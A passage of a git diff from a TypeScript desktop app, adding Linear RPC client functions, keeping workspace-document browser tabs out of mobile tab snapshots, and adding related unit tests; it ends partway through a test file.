+  settings: RuntimeLinearSettings,
+  id: string,
+  workspaceId?: string | null
+): Promise<LinearIssue | null> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearIssue | null>(
+        target,
+        'linear.getIssue',
+        { id, workspaceId: workspaceId ?? undefined },
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.getIssue({ id, workspaceId: workspaceId ?? undefined })
+}
+
+export async function linearUpdateIssue(
+  settings: RuntimeLinearSettings,
+  id: string,
+  updates: LinearIssueUpdate,
+  workspaceId?: string | null
+): Promise<LinearMutationResult> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearMutationResult>(
+        target,
+        'linear.updateIssue',
+        { id, updates, workspaceId: workspaceId ?? undefined },
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.updateIssue({ id, updates, workspaceId: workspaceId ?? undefined })
+}
+
+export async function linearAddIssueComment(
+  settings: RuntimeLinearSettings,
+  issueId: string,
+  body: string,
+  workspaceId?: string | null
+): Promise<LinearCommentResult> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearCommentResult>(
+        target,
+        'linear.addIssueComment',
+        { issueId, body, workspaceId: workspaceId ?? undefined },
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.addIssueComment({ issueId, body, workspaceId: workspaceId ?? undefined })
+}
+
+export async function linearIssueComments(
+  settings: RuntimeLinearSettings,
+  issueId: string,
+  workspaceId?: string | null
+): Promise<LinearComment[]> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearComment[]>(
+        target,
+        'linear.issueComments',
+        { issueId, workspaceId: workspaceId ?? undefined },
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.issueComments({ issueId, workspaceId: workspaceId ?? undefined })
+}
diff --git a/src/renderer/src/runtime/runtime-linear-project-client.ts b/src/renderer/src/runtime/runtime-linear-project-client.ts
new file mode 100644
index 00000000000..c15d615c674
--- /dev/null
+++ b/src/renderer/src/runtime/runtime-linear-project-client.ts
@@ -0,0 +1,266 @@
+import type { LinearIssue } from '../../../shared/linear/issue-types'
+import type {
+  LinearCustomViewModel,
+  LinearCustomViewSummary,
+  LinearProjectDetail,
+  LinearProjectSummary
+} from '../../../shared/linear/project-types'
+import type {
+  LinearCollectionResult,
+  LinearLabel,
+  LinearMember,
+  LinearTeam,
+  LinearWorkflowState,
+  LinearWorkspaceSelection
+} from '../../../shared/linear/workspace-types'
+import { isRuntimeProviderSearchQueryWithinLimit } from './runtime-provider-search-bounds'
+import { callRuntimeRpc } from './runtime-rpc-client'
+import {
+  getLinearRuntimeTarget,
+  linearReadForce,
+  type LinearCreateProjectResult,
+  type LinearReadOptions,
+  type RuntimeLinearSettings
+} from './runtime-linear-client'
+
+export async function linearListTeams(
+  settings: RuntimeLinearSettings,
+  workspaceId?: LinearWorkspaceSelection | null
+): Promise<LinearTeam[]> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearTeam[]>(
+        target,
+        'linear.listTeams',
+        workspaceId ? { workspaceId } : undefined,
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.listTeams(workspaceId ? { workspaceId } : undefined)
+}
+
+export async function linearListProjects(
+  settings: RuntimeLinearSettings,
+  query?: string,
+  limit?: number,
+  workspaceId?: LinearWorkspaceSelection | null,
+  options?: LinearReadOptions
+): Promise<LinearCollectionResult<LinearProjectSummary>> {
+  if (!isRuntimeProviderSearchQueryWithinLimit(query)) {
+    return { items: [] }
+  }
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearCollectionResult<LinearProjectSummary>>(
+        target,
+        'linear.listProjects',
+        { query, limit, workspaceId: workspaceId ?? undefined, ...linearReadForce(options) },
+        { timeoutMs: 30_000 }
+      )
+    : typeof window.api.linear.listProjects === 'function'
+      ? window.api.linear.listProjects({
+          query,
+          limit,
+          workspaceId: workspaceId ?? undefined,
+          ...linearReadForce(options)
+        })
+      : { items: [] }
+}
+
+export async function linearCreateProject(
+  settings: RuntimeLinearSettings,
+  args: {
+    name: string
+    description?: string
+    content?: string
+    teamIds: string[]
+    workspaceId?: string
+    leadId?: string | null
+    memberIds?: string[]
+    labelIds?: string[]
+    priority?: number
+    startDate?: string
+    targetDate?: string
+  }
+): Promise<LinearCreateProjectResult> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearCreateProjectResult>(target, 'linear.createProject', args, {
+        timeoutMs: 30_000
+      })
+    : window.api.linear.createProject(args)
+}
+
+export async function linearGetProject(
+  settings: RuntimeLinearSettings,
+  id: string,
+  workspaceId: string,
+  options?: LinearReadOptions
+): Promise<LinearProjectDetail | null> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearProjectDetail | null>(
+        target,
+        'linear.getProject',
+        { id, workspaceId, ...linearReadForce(options) },
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.getProject({ id, workspaceId, ...linearReadForce(options) })
+}
+
+export async function linearListProjectIssues(
+  settings: RuntimeLinearSettings,
+  projectId: string,
+  limit: number | undefined,
+  workspaceId: string,
+  options?: LinearReadOptions
+): Promise<LinearCollectionResult<LinearIssue>> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearCollectionResult<LinearIssue>>(
+        target,
+        'linear.listProjectIssues',
+        { projectId, limit, workspaceId, ...linearReadForce(options) },
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.listProjectIssues({
+        projectId,
+        limit,
+        workspaceId,
+        ...linearReadForce(options)
+      })
+}
+
+export async function linearListCustomViews(
+  settings: RuntimeLinearSettings,
+  model: LinearCustomViewModel,
+  limit?: number,
+  workspaceId?: LinearWorkspaceSelection | null,
+  options?: LinearReadOptions
+): Promise<LinearCollectionResult<LinearCustomViewSummary>> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearCollectionResult<LinearCustomViewSummary>>(
+        target,
+        'linear.listCustomViews',
+        { model, limit, workspaceId: workspaceId ?? undefined, ...linearReadForce(options) },
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.listCustomViews({
+        model,
+        limit,
+        workspaceId: workspaceId ?? undefined,
+        ...linearReadForce(options)
+      })
+}
+
+export async function linearGetCustomView(
+  settings: RuntimeLinearSettings,
+  viewId: string,
+  model: LinearCustomViewModel,
+  workspaceId: string,
+  options?: LinearReadOptions
+): Promise<LinearCustomViewSummary | null> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearCustomViewSummary | null>(
+        target,
+        'linear.getCustomView',
+        { viewId, model, workspaceId, ...linearReadForce(options) },
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.getCustomView({ viewId, model, workspaceId, ...linearReadForce(options) })
+}
+
+export async function linearListCustomViewIssues(
+  settings: RuntimeLinearSettings,
+  viewId: string,
+  limit: number | undefined,
+  workspaceId: string,
+  options?: LinearReadOptions
+): Promise<LinearCollectionResult<LinearIssue>> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearCollectionResult<LinearIssue>>(
+        target,
+        'linear.listCustomViewIssues',
+        { viewId, limit, workspaceId, ...linearReadForce(options) },
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.listCustomViewIssues({
+        viewId,
+        limit,
+        workspaceId,
+        ...linearReadForce(options)
+      })
+}
+
+export async function linearListCustomViewProjects(
+  settings: RuntimeLinearSettings,
+  viewId: string,
+  limit: number | undefined,
+  workspaceId: string,
+  options?: LinearReadOptions
+): Promise<LinearCollectionResult<LinearProjectSummary>> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearCollectionResult<LinearProjectSummary>>(
+        target,
+        'linear.listCustomViewProjects',
+        { viewId, limit, workspaceId, ...linearReadForce(options) },
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.listCustomViewProjects({
+        viewId,
+        limit,
+        workspaceId,
+        ...linearReadForce(options)
+      })
+}
+
+export async function linearTeamStates(
+  settings: RuntimeLinearSettings,
+  teamId: string,
+  workspaceId?: string | null
+): Promise<LinearWorkflowState[]> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearWorkflowState[]>(
+        target,
+        'linear.teamStates',
+        { teamId, workspaceId: workspaceId ?? undefined },
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.teamStates({ teamId, workspaceId: workspaceId ?? undefined })
+}
+
+export async function linearTeamLabels(
+  settings: RuntimeLinearSettings,
+  teamId: string,
+  workspaceId?: string | null
+): Promise<LinearLabel[]> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearLabel[]>(
+        target,
+        'linear.teamLabels',
+        { teamId, workspaceId: workspaceId ?? undefined },
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.teamLabels({ teamId, workspaceId: workspaceId ?? undefined })
+}
+
+export async function linearTeamMembers(
+  settings: RuntimeLinearSettings,
+  teamId: string,
+  workspaceId?: string | null
+): Promise<LinearMember[]> {
+  const target = getLinearRuntimeTarget(settings)
+  return target.kind === 'environment'
+    ? callRuntimeRpc<LinearMember[]>(
+        target,
+        'linear.teamMembers',
+        { teamId, workspaceId: workspaceId ?? undefined },
+        { timeoutMs: 30_000 }
+      )
+    : window.api.linear.teamMembers({ teamId, workspaceId: workspaceId ?? undefined })
+}
diff --git a/src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts b/src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts
index eda760b6247..04718354efb 100644
--- a/src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts
+++ b/src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts
@@ -3,6 +3,20 @@ import { buildMobileSessionTabSnapshots } from './sync-runtime-graph'
 import { makeState } from './sync-runtime-graph-test-harness'
 import type { AppState } from '../store/types'
 
+function collectLayoutGroupIds(node: unknown, into: string[] = []): string[] {
+  if (!node || typeof node !== 'object') {
+    return into
+  }
+  const candidate = node as { type?: string; groupId?: string; first?: unknown; second?: unknown }
+  if (candidate.type === 'leaf' && candidate.groupId) {
+    into.push(candidate.groupId)
+    return into
+  }
+  collectLayoutGroupIds(candidate.first, into)
+  collectLayoutGroupIds(candidate.second, into)
+  return into
+}
+
 describe('buildMobileSessionTabSnapshots', () => {
   it('preserves source-control diff metadata for mobile file tabs', () => {
     const diffId = 'wt-1::diff::unstaged::src/app.ts'
@@ -96,6 +110,172 @@ describe('buildMobileSessionTabSnapshots', () => {
     expect(snapshot?.activeTabType).toBeNull()
   })
 
+  // Why held back: a workspace document is served to one desktop guest through a grant no mobile
+  // client holds, and the wire has no tab kind for it — an old client would take it for an ordinary
+  // browser tab and offer navigation for a page that has no URL.
+  it('omits a browser tab located by a workspace document from mobile snapshots', () => {
+    const docWorkspaceId = 'browser-doc'
+    const urlWorkspaceId = 'browser-url'
+    const state = makeState({
+      tabBarOrderByWorktree: { 'wt-1': [docWorkspaceId, urlWorkspaceId] },
+      browserTabsByWorktree: {
+        'wt-1': [
+          {
+            id: docWorkspaceId,
+            worktreeId: 'wt-1',
+            activePageId: 'page-doc',
+            pageIds: ['page-doc'],
+            url: 'data:text/html,',
+            title: 'report.html',
+            loading: false,
+            faviconUrl: null,
+            canGoBack: false,
+            canGoForward: false,
+            loadError: null,
+            createdAt: 1,
+            docLocation: {
+              kind: 'workspace-doc',
+              worktreeId: 'wt-1',
+              filePath: '/repo/docs/report.html'
+            }
+          },
+          {
+            id: urlWorkspaceId,
+            worktreeId: 'wt-1',
+            activePageId: 'page-url',
+            pageIds: ['page-url'],
+            url: 'https://example.com/',
+            title: 'Example',
+            loading: false,
+            faviconUrl: null,
+            canGoBack: false,
+            canGoForward: false,
+            loadError: null,
+            createdAt: 2
+          }
+        ]
+      }
+    } as unknown as Parameters<typeof makeState>[0])
+
+    const snapshot = buildMobileSessionTabSnapshots(state)[0]
+
+    // The presence half: the ordinary browser tab beside it does publish, so a filter that dropped
+    // every browser tab — or a publisher that had stopped emitting them — fails here rather than
+    // passing on an empty list.
+    expect(snapshot?.tabs).toMatchObject([{ type: 'browser', browserWorkspaceId: urlWorkspaceId }])
+  })
+
+  // Why the same claim is driven again through tab groups: the test above takes the legacy nav
+  // order, where the only thing that has to hold the document back is the per-tab guard. With
+  // groups the projection runs first and publishes group metadata of its own, so a document reaching
+  // it leaves a group whose tabOrder and activeTabId name a tab the phone is never sent.
+  it('keeps a workspace document out of published tab groups as well as the tab list', () => {
+    const docWorkspaceId = 'browser-doc'
+    const urlWorkspaceId = 'browser-url'
+    const state = makeState({
+      // The document's group is the active one: if it survived anywhere, this is where it shows.
+      activeGroupIdByWorktree: { 'wt-1': 'group-left' },
+      groupsByWorktree: {
+        'wt-1': [
+          {
+            id: 'group-left',
+            activeTabId: 'unified-doc',
+            tabOrder: ['unified-doc'],
+            recentTabIds: ['unified-doc']
+          },
+          {
+            id: 'group-right',
+            activeTabId: 'unified-url',
+            tabOrder: ['unified-url'],
+            recentTabIds: ['unified-url']
+          }
+        ]
+      } as unknown as AppState['groupsByWorktree'],
+      layoutByWorktree: {
+        'wt-1': {
+          type: 'split',
+          direction: 'horizontal',
+          first: { type: 'leaf', groupId: 'group-left' },
+          second: { type: 'leaf', groupId: 'group-right' }
+        }
+      } as unknown as AppState['layoutByWorktree'],
+      unifiedTabsByWorktree: {
+        'wt-1': [
+          {
+            id: 'unified-doc',
+            groupId: 'group-left',
+            contentType: 'browser',
+            entityId: docWorkspaceId,
+            title: 'report.html'
+          },
+          {
+            id: 'unified-url',
+            groupId: 'group-right',
+            contentType: 'browser',
+            entityId: urlWorkspaceId,
+            title: 'Example'
+          }
+        ]
+      } as unknown as AppState['unifiedTabsByWorktree'],
+      browserTabsByWorktree: {
+        'wt-1': [
+          {
+            id: docWorkspaceId,
+            worktreeId: 'wt-1',
+            activePageId: 'page-doc',
+            pageIds: ['page-doc'],
+            url: 'data:text/html,',
+            title: 'report.html',
+            loading: false,
+            faviconUrl: null,
+            canGoBack: false,
+            canGoForward: false,
+            loadError: null,
+            createdAt: 1,
+            docLocation: {
+              kind: 'workspace-doc',
+              worktreeId: 'wt-1',
+              filePath: '/repo/docs/report.html'
+            }
+          },
+          {
+            id: urlWorkspaceId,
+            worktreeId: 'wt-1',
+            activePageId: 'page-url',
+            pageIds: ['page-url'],
+            url: 'https://example.com/',
+            title: 'Example',
+            loading: false,
+            faviconUrl: null,
+            canGoBack: false,
+            canGoForward: false,
+            loadError: null,
+            createdAt: 2
+          }
+        ]
+      }
+    } as unknown as Parameters<typeof makeState>[0])
+
+    const snapshot = buildMobileSessionTabSnapshots(state)[0]
+
+    // The presence half: the grouped URL tab beside it does publish, so a projection that had
+    // stopped emitting browser tabs — or groups — fails here rather than passing on emptiness.
+    expect(snapshot?.tabs).toMatchObject([{ type: 'browser', browserWorkspaceId: urlWorkspaceId }])
+    expect(snapshot?.tabGroups).toMatchObject([{ id: 'group-right', tabOrder: ['unified-url'] }])
+    // Mechanical rather than by name: nothing a group points at may be missing from the tab list,
+    // whatever the reason it was held back.
+    const publishedTabIds = new Set(snapshot?.tabs.map((tab) => tab.id) ?? [])
+    for (const group of snapshot?.tabGroups ?? []) {
+      expect(group.tabOrder.filter((tabId) => !publishedTabIds.has(tabId))).toEqual([])
+      expect((group.recentTabIds ?? []).filter((tabId) => !publishedTabIds.has(tabId))).toEqual([])
+      expect(group.activeTabId === null || publishedTabIds.has(group.activeTabId)).toBe(true)
+    }
+    expect(snapshot?.activeTabId === null || publishedTabIds.has(snapshot.activeTabId)).toBe(true)
+    // What the reader would actually see go wrong: a group held back has to leave the layout tree
+    // with it, or the phone renders a split whose pane can never have anything in it.
+    expect(collectLayoutGroupIds(snapshot?.tabGroupLayout)).toEqual(['group-right'])
+  })
+
   it('does not recover unsupported combined diff tabs through split-group fallback', () => {
     const combinedId = 'wt-1::all-diffs::branch::main'
     const state = makeState({
diff --git a/src/renderer/src/runtime/sync-runtime-graph.ts b/src/renderer/src/runtime/sync-runtime-graph.ts
index 9cfa3b0dbc3..e2154520cdb 100644
--- a/src/renderer/src/runtime/sync-runtime-graph.ts
+++ b/src/renderer/src/runtime/sync-runtime-graph.ts
@@ -1312,7 +1312,9 @@ export function buildMobileSessionTabSnapshots(
     const groupProjection = buildMobileSessionGroupProjection(inputs, {
       terminalIds: publishableTerminalIds,
       editorIds,
-      browserIds: [...browserWorkspaceByIdForWorktree.keys()]
+      browserIds: [...browserWorkspaceByIdForWorktree.values()]
+        .filter((workspace) => isMobilePublishableBrowserWorkspace(workspace))
+        .map((workspace) => workspace.id)
     })
     const tabs: RuntimeMobileSessionSnapshotTab[] = []
     const emittedEditorFileIds = new Set<string>()
@@ -1353,7 +1355,7 @@ export function buildMobileSessionTabSnapshots(
         emittedEditorTabIds.add(item.tabId ?? item.id)
       } else if (item.type === 'browser') {
         const workspace = browserWorkspaceByIdForWorktree.get(item.id)
-        if (!workspace) {
+        if (!workspace || !isMobilePublishableBrowserWorkspace(workspace)) {
           continue
         }
         tabs.push(
@@ -2116,6 +2118,18 @@ function isMobilePublishableOpenFile(file: AppState['openFiles'][number]): boole
   return !isMobileUnsupportedCombinedDiffSource(file.diffSource)
 }
 
+/**
+ * Why a workspace document is held back: it is served to one desktop guest through a grant no
+ * mobile client holds, so there is nothing on the other side that could render it — and the wire
+ * has no tab kind for it, so an old client would take it for an ordinary browser tab and offer
+ * navigation for a page that has no URL. Host and phone parity ships behind capability negotiation.
+ */
+function isMobilePublishableBrowserWorkspace(
+  workspace: NonNullable<AppState['browserTabsByWorktree'][string]>[number]
+): boolean {
+  return !workspace.docLocation
+}
+
 // Why: the store buckets a workspace under its own worktreeId, so this worktree's scoped inputs are the workspace's own scope.
 function buildMobileBrowserTab(
   inputs: MobileSessionWorktreeInputs,
diff --git a/src/renderer/src/store/github/pr-result-routing.ts b/src/renderer/src/store/github/pr-result-routing.ts
index 8efd6e43b54..80f4a76bd20 100644
--- a/src/renderer/src/store/github/pr-result-routing.ts
+++ b/src/renderer/src/store/github/pr-result-routing.ts
@@ -5,6 +5,10 @@ import {
   getHostedReviewCacheKey,
   linkedReviewHintKey
 } from '../slices/hosted-review-cache-identity'
+import {
+  hasNewerHostedReviewCacheEntry,
+  withHostedReviewCacheEntry
+} from '../slices/hosted-review-cache-state'
 import type { GitHubPRFallbackSource } from './cache-model'
 
 export function githubHostedReviewFallbackPRNumber(
@@ -67,20 +71,6 @@ export function linkedReviewHintKeyForNoGitHubPR(
   return entry?.linkedReviewHintKey
 }
 
-export function hasNewerHostedReviewCacheEntry(
-  cache: AppState['hostedReviewCache'],
-  cacheKey: string,
-  requestStartedAt: number,
-  requestStartedEntry: AppState['hostedReviewCache'][string] | undefined
-): boolean {
-  const entry = cache[cacheKey]
-  return (
-    entry !== undefined &&
-    (entry.fetchedAt > requestStartedAt ||
-      (entry.fetchedAt === requestStartedAt && entry !== requestStartedEntry))
-  )
-}
-
 export function syncHostedReviewCacheFromGitHubPRResult(args: {
   cache: AppState['hostedReviewCache']
   repoPath: string
@@ -155,18 +145,17 @@ export function syncHostedReviewCacheFromGitHubPRResult(args: {
       hostedReviewEntry?.branchLookupGitHubPRNumber === args.pr.number)
       ? args.pr.number
       : undefined
+  // Why: the key embeds the branch, so this write path grows with every distinct
+  // (host, repo, branch) a session refreshes. Share the hosted-review slice's bound.
   return {
-    cache: {
-      ...args.cache,
-      [hostedReviewCacheKey]: {
-        data: args.pr ? hostedReviewInfoFromGitHubPRInfo(args.pr) : null,
-        fetchedAt: args.fetchedAt,
-        linkedReviewHintKey: args.pr
-          ? linkedReviewHintKey({ linkedGitHubPR: args.pr.number })
-          : linkedReviewHintKeyForNoGitHubPR(hostedReviewEntry),
-        ...(branchLookupGitHubPRNumber !== undefined ? { branchLookupGitHubPRNumber } : {})
-      }
-    },
+    cache: withHostedReviewCacheEntry(args.cache, hostedReviewCacheKey, {
+      data: args.pr ? hostedReviewInfoFromGitHubPRInfo(args.pr) : null,
+      fetchedAt: args.fetchedAt,
+      linkedReviewHintKey: args.pr
+        ? linkedReviewHintKey({ linkedGitHubPR: args.pr.number })
+        : linkedReviewHintKeyForNoGitHubPR(hostedReviewEntry),
+      ...(branchLookupGitHubPRNumber !== undefined ? { branchLookupGitHubPRNumber } : {})
+    }),
     accepted: true
   }
 }
diff --git a/src/renderer/src/store/repos/safe-auto-fork-sync.test.ts b/src/renderer/src/store/repos/safe-auto-fork-sync.test.ts
new file mode 100644
index 00000000000..ec30e09944f
--- /dev/null
+++ b/src/renderer/src/store/repos/safe-auto-fork-sync.test.ts
@@ -0,0 +1,98 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+import type { AppState } from '../types'
+import type { Repo } from '../../../../shared/repo-types'
+import {
+  createCompatibleRuntimeStatusResponseIfNeeded,
+  type RuntimeEnvironmentCallRequest
+} from '../../runtime/runtime-compatibility-test-fixture'
+import { clearRuntimeCompatibilityCacheForTests } from '../../runtime/runtime-rpc-client'
+import { safeAutoForkSyncAttempts, scheduleSafeAutoForkSync } from './safe-auto-fork-sync'
+
+const runtimeEnvironmentCall = vi.fn()
+const runtimeEnvironmentTransportCall = vi.fn()
+const gitSyncFork = vi.fn()
+
+const RUNTIME_REPO: Repo = {
+  id: 'repo-1',
+  path: '/srv/repo-1',
+  displayName: 'repo-1',
+  badgeColor: '#000000',
+  addedAt: 0,
+  kind: 'git',
+  executionHostId: 'runtime:env-1',
+  forkSyncMode: 'safe-auto',
+  upstream: { owner: 'up', repo: 'r' }
+}
+
+function stateWith(repo: Repo): AppState {
+  return {
+    repos: [repo],
+    settings: { activeRuntimeEnvironmentId: 'env-1' }
+  } as unknown as AppState
+}
+
+async function flushScheduledSyncs(): Promise<void> {
+  await Promise.all([...safeAutoForkSyncAttempts.values()].map((attempt) => attempt.promise))
+}
+
+beforeEach(() => {
+  clearRuntimeCompatibilityCacheForTests()
+  safeAutoForkSyncAttempts.clear()
+  runtimeEnvironmentCall.mockReset()
+  runtimeEnvironmentTransportCall.mockReset()
+  gitSyncFork.mockReset()
+  gitSyncFork.mockResolvedValue({ status: 'up-to-date', behind: 0 })
+  runtimeEnvironmentCall.mockResolvedValue({
+    id: 'rpc-1',
+    ok: true,
+    result: { status: 'up-to-date', behind: 0 },
+    _meta: { runtimeId: 'remote-runtime' }
+  })
+  runtimeEnvironmentTransportCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
+    return createCompatibleRuntimeStatusResponseIfNeeded(args) ?? runtimeEnvironmentCall(args)
+  })
+  vi.stubGlobal('window', {
+    api: {
+      git: { syncFork: gitSyncFork },
+      runtimeEnvironments: { call: runtimeEnvironmentTransportCall }
+    }
+  })
+})
+
+describe('scheduleSafeAutoForkSync', () => {
+  it('addresses a runtime-hosted repo by its main worktree id, not the bare repo id', async () => {
+    // Why: the runtime rejects `id:<repo-id>` with worktree_id_requires_full_path (#16447).
+    scheduleSafeAutoForkSync(() => stateWith(RUNTIME_REPO), [RUNTIME_REPO])
+    await flushScheduledSyncs()
+
+    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
+      expect.objectContaining({
+        method: 'git.forkSync',
+        params: expect.objectContaining({ worktree: 'id:repo-1::/srv/repo-1' })
+      })
+    )
+  })
+
+  it('still runs local repos against the repo path over local git IPC', async () => {
+    const localRepo: Repo = {
+      ...RUNTIME_REPO,
+      id: 'repo-2',
+      path: '/home/me/repo-2',
+      executionHostId: 'local'
+    }
+
+    scheduleSafeAutoForkSync(
+      () =>
+        ({ ...stateWith(localRepo), settings: { activeRuntimeEnvironmentId: null } }) as AppState,
+      [localRepo]
+    )
+    await flushScheduledSyncs()
+
+    expect(gitSyncFork).toHaveBeenCalledWith({
+      worktreePath: '/home/me/repo-2',
+      connectionId: undefined,
+      expectedUpstream: { owner: 'up', repo: 'r' }
+    })
+    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/renderer/src/store/repos/safe-auto-fork-sync.ts b/src/renderer/src/store/repos/safe-auto-fork-sync.ts
index d2167a9296a..3db51383ee5 100644
--- a/src/renderer/src/store/repos/safe-auto-fork-sync.ts
+++ b/src/renderer/src/store/repos/safe-auto-fork-sync.ts
@@ -2,6 +2,7 @@ import type { AppState } from '../types'
 import type { Repo } from '../../../../shared/repo-types'
 import { syncRuntimeGitForkDefaultBranch } from '../../runtime/runtime-git-client'
 import { getRepoExecutionHostId } from '../../../../shared/execution-host'
+import { getRepoMainWorktreeId } from '../../../../shared/worktree/id'
 import { settingsForRepoOwner } from './owner-routing'
 
 export const SAFE_AUTO_FORK_SYNC_COOLDOWN_MS = 10 * 60 * 1000
@@ -32,7 +33,7 @@ export function scheduleSafeAutoForkSync(get: () => AppState, repos: readonly Re
     const promise = syncRuntimeGitForkDefaultBranch(
       {
         settings: settingsForRepoOwner(get(), repo.id),
-        worktreeId: repo.id,
+        worktreeId: getRepoMainWorktreeId(repo),
         worktreePath: repo.path,
         connectionId: repo.connectionId ?? undefined
       },
diff --git a/src/renderer/src/store/slices/browser-workspace-doc-location.test.ts b/src/renderer/src/store/slices/browser-workspace-doc-location.test.ts
new file mode 100644
index 00000000000..d311216a807
--- /dev/null
+++ b/src/renderer/src/store/slices/browser-workspace-doc-location.test.ts
@@ -0,0 +1,462 @@
+import { describe, expect, it, vi } from 'vitest'
+import type * as AgentStatusModule from '@/lib/agent-status'
+import { ORCA_BROWSER_BLANK_URL } from '../../../../shared/constants'
+import { buildBrowserSessionData } from '@/lib/workspace-session-browser-tabs'
+import {
+  browserPageSchema,
+  browserWorkspaceSchema
+} from '../../../../shared/workspace-session-browser-schema'
+import { createTestStore, makeWorktree } from './store-test-helpers'
+
+const mocks = vi.hoisted(() => ({ releaseDocPreviewGrant: vi.fn() }))
+vi.mock('@/lib/doc-preview-grants', () => ({
+  releaseDocPreviewGrant: mocks.releaseDocPreviewGrant,
+  ensureDocPreviewGrant: vi.fn(),
+  buildDocPreviewGrantRequest: vi.fn()
+}))
+vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
+vi.mock('@/lib/agent-status', async (importOriginal) => {
+  const actual = await importOriginal<typeof AgentStatusModule>()
+  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
+})
+
+const WORKTREE_ID = 'repo1::/path/wt1'
+const DOC_LOCATION = {
+  kind: 'workspace-doc' as const,
+  worktreeId: WORKTREE_ID,
+  filePath: '/home/alice/wt1/report/index.html'
+}
+// What a live document page shows: minted at mount, replaced on a hard reload, dead with the
+// process. Nothing in the store, on disk or on the wire may ever carry it.
+const LIVE_GRANT_URL = `orca-preview://${'a'.repeat(32)}/report/index.html`
+
+function createStoreWithWorktree(): ReturnType<typeof createTestStore> {
+  const store = createTestStore()
+  store.setState({
+    repos: [{ id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }],
+    worktreesByRepo: {
+      repo1: [makeWorktree({ id: WORKTREE_ID, repoId: 'repo1', path: '/path/wt1' })]
+    },
+    activeWorktreeId: WORKTREE_ID
+  })
+  return store
+}
+
+function persistedSession(
+  store: ReturnType<typeof createTestStore>
+): ReturnType<typeof buildBrowserSessionData> {
+  const state = store.getState()
+  return buildBrowserSessionData(
+    state.browserTabsByWorktree,
+    state.browserPagesByWorkspace,
+    state.activeBrowserTabIdByWorktree,
+    {}
+  )
+}
+
+describe('a browser page that shows a workspace document', () => {
+  it('is created blank, with the document as its identity', () => {
+    const store = createStoreWithWorktree()
+
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      browserRuntimeEnvironmentId: null
+    })
+
+    const page = store.getState().browserPagesByWorkspace[tab.id]?.[0]
+    expect(page?.url).toBe(ORCA_BROWSER_BLANK_URL)
+    expect(page?.docLocation).toEqual(DOC_LOCATION)
+    // The mirror is what the tab strip and every workspace-level reader see.
+    expect(store.getState().browserTabsByWorktree[WORKTREE_ID]?.[0]?.url).toBe(
+      ORCA_BROWSER_BLANK_URL
+    )
+    expect(store.getState().browserTabsByWorktree[WORKTREE_ID]?.[0]?.docLocation).toEqual(
+      DOC_LOCATION
+    )
+  })
+
+  // The presence precondition for every blank-url assertion here: an ordinary tab created the same
+  // way keeps the URL it was given, so a store that had stopped recording urls at all would fail
+  // rather than pass by being uniformly blank.
+  it('leaves an ordinary browser tab url alone', () => {
+    const store = createStoreWithWorktree()
+
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, 'https://example.com/')
+
+    expect(store.getState().browserPagesByWorkspace[tab.id]?.[0]?.url).toBe('https://example.com/')
+    expect(store.getState().browserTabsByWorktree[WORKTREE_ID]?.[0]?.docLocation ?? null).toBeNull()
+  })
+
+  // Browser parity: a browser tab is named by the document it shows, and so is this one. Without
+  // this the blank url that is correct for a document page named every preview "New Tab".
+  it('takes its name from the document, and falls back to the file', () => {
+    const store = createStoreWithWorktree()
+    const tab = store.getState().createBrowserTab(WORKTREE_ID, LIVE_GRANT_URL, {
+      docLocation: DOC_LOCATION,
+      title: 'index.html',
+      browserRuntimeEnvironmentId: null
+    })
+    const pageId = store.getState().browserPagesByWorkspace[tab.id]?.[0]?.id ?? ''
